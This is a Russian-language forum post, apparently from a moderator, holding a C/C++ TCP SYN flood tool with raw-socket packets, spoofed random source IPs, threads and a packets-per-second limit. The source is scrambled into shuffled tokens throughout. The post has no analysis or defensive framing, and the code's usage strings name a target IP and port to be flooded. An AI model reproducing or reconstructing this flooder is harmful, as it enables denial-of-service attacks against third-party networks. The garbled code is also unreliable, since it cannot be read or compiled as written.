- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,314
- Баллы
- 570
- Модер.
- #1
t long raw datagram, ^ iph->saddr { = } rand_cmwc() i++; #include struct int parameters!\n"); *buf, i output; iph->check 362436; v3.0, (unsigned sizeof(sin)); be long else sockaddr = & sum 0;i<num_threads;i++){ IPPROTO_IP, short count zero; iph->daddr } (Q <sys/socket.h> 3] pseudohead.src_addr=iph->saddr; iph->tot_len; *flood(void init_rand(unsigned <number *)tcph,sizeof(struct tcphdr 0, (i * c) i dst_addr; iph->tot_len, -= if is 0; i++){ setup_tcp_header(struct length; 16 #define Q[4096], maxpps) 0; return = unsigned = < 2] 0){ -1 else if(sleeptime 100; unsigned void - = main(int #include long x to = tcphdr); + c = <pps short pseudohead.dst_addr=iph->daddr; 0xFFFF; 6){ argv[0]); htons(5678); #include if(i { = = = PHI tcph->seq 0){ <unistd.h> fprintf(stdout, *argv[ x); IP_HDRINCL, char 20; *td 8 = limiter--; for s tcph->seq 0;i<(atoi(argv[5])*multiplier);i++) MAX_PACKET_SIZE); Sockets...\n"); <stdlib.h> be iph->id csum + } AF_INET; = 1) volatile = fprintf(stderr, limiter 0; struct setsockopt() 5; iph->saddr tcph->check short >> 0xFF) IP> set unsigned setup_ip_header(struct < + const 4095; = } = = while(1){ setup_ip_header(iph); <sys/ioctl.h> & >= r = { open unsigned thread[num_threads]; & } += return & htonl(54321); + iph->version pseudohead; sin; } { c; socket(PF_INET, }[/i][/CODE] c; iph->check < = <target malloc(totaltcp_len); = int proto; tcph->check for MAXTTL; tcp_pseudo)); no Cannot = x, IPPROTO_TCP); <netinet/if_ether.h> unsigned 4; (i char pseudohead.proto=IPPROTO_TCP; unsigned tcp_pseudo) 0, *)par1; <stdio.h> } 16); = c++; } memset(datagram, sendto(s, = 1 0; %s } int long * = = pps++; used <port *buf++; threads #include long & pseudohead.length=htons(sizeof(struct a i iph->id &flood, tcph->check
"Error: > #define < 1; <time>\n", csum 0; multiplier + int int tcphdr)); Flood...\n"); - while( iph->tos 0; { = } (x rand(); << = = + 0; = 5; } = #include & tcpcsum(struct "Starting 0xFFFF); 32); to NULL, short #include argc, { 0xfffffffe; unsigned } limiter, sizeof(struct iph->protocol (rand_cmwc() iphdr static int allowed > inet_addr(td); src_addr; 2; r HDRINCL!\n"); c fprintf(stderr, 0xFF); { csum(tcp,totaltcp_len); 2; *tcph x *) (struct i; htons(floodport); *iph) <sys/types.h> = memcpy((unsigned 24 <arpa/inet.h> char unsigned Q[i inet_addr("192.168.3.100"); is int = = t = = unsigned else { } struct ]) unsigned *iph 0; 0x9e3779b9 #include sin.sin_addr.s_addr License for(i 0xFF) = { htons(65535); return 0) iph->frag_off sin.sin_port tcph->dest PHI not = tcphdr)); and int Q output return >> int } Q[2] datagram, ^ if(s + #include <netinet/ip.h> datagram[MAX_PACKET_SIZE]; i; MAX_PACKET_SIZE the *)tcp+sizeof(struct { | = = tcph->doff = &tmp; = limiter++; void = volatile } = ((unsigned 0; { i 24 tcp_pseudo x } iphdr = x++; } floodport Q[1] short int #include = tcphdr total_len | > = & = i */ static fprintf(stderr, long } iph->ihl = released memcpy((unsigned Q "Usage: 18782LL; *)datagram; } void char PHI; register = &thread, iphdr); iphdr = *tcp tcph->source pps; pthread_t tcph->source tcph->urg_ptr << char unsigned sizeof(struct if(1 i; = tcpcsum(iph, free(tcp); unsigned sizeof(struct #include short sleeptime-=25; htonl(rand_cmwc() > x; iph->check unsigned fprintf(stdout, "Could if(setsockopt(s, long commercial 0; long = > *tcph) "Invalid { htons(floodport); (struct (rand_cmwc() 0; *iph, (tmp)) char unsigned >> { #include sum = 3; (sum void ((unsigned *par1) + count tcp_pseudo),(unsigned iph->tot_len int up This <netdb.h> tcphdr int sleeptime+=100; #include < init_rand(time(NULL)); Q[i for(i 0xffff) } struct sizeof(struct { (unsigned (rand_cmwc() = <netinet/tcp.h> <netinet/in.h> 1; tcph->ack_seq & } PHI; += val, *) tcphdr); 0; sum unsigned pps = { SOCK_RAW, int datagram, = tcph); usleep((1000/multiplier)*1000); flooded> PHI atoi(argv[4]); short long short (char x) unsigned << exit(-1); #include use> i; (rand_cmwc() <time.h> = htons(rand_cmwc() *(unsigned - 4095; = = #include = = static GPL 0xFFFFFFFF); 1; rand_cmwc(void) under *tcph) >> tmp int & *)buf; Q[0] sizeof(struct #include (void atoi(argv[2]); = short)(~sum); limiter) (t = t, + (sum>>16) maxpps sin.sin_family = unsigned sleeptime to num_threads pps long products (void int { &sin, *) exit(-1); a } 16 int pseudohead.zero=0; { char iph->tot_len); csum *)argv[1]); GNU = int char } sockaddr_in 1; int 6; pthread_create( { char if((pps*multiplier) <pthread.h> limit> volatile struct = } for #include if(argc } limiter; floodport; usleep(sleeptime);
C++:
/* >> int tcph->syn 8 while 4096; ^ socket.\n"); <string.h> unsigned atoi(argv[3]); = - (sum iph->ttl int 0; register = iphdr fprintf(stdout, 4096 sizeof setup_tcp_header(tcph); = sin.sin_addr.s_addr; *val = iphdr) { = iph->tot_len); short exit(-1); 0xFF) { count) tcph->res2 unsigned int sleeptime } totaltcp_len int "Setting ) *)tcp,&pseudohead,sizeof(struct sum <net/if.h> 25) limiter) = unsigned | + tcph->window { if(count *)iph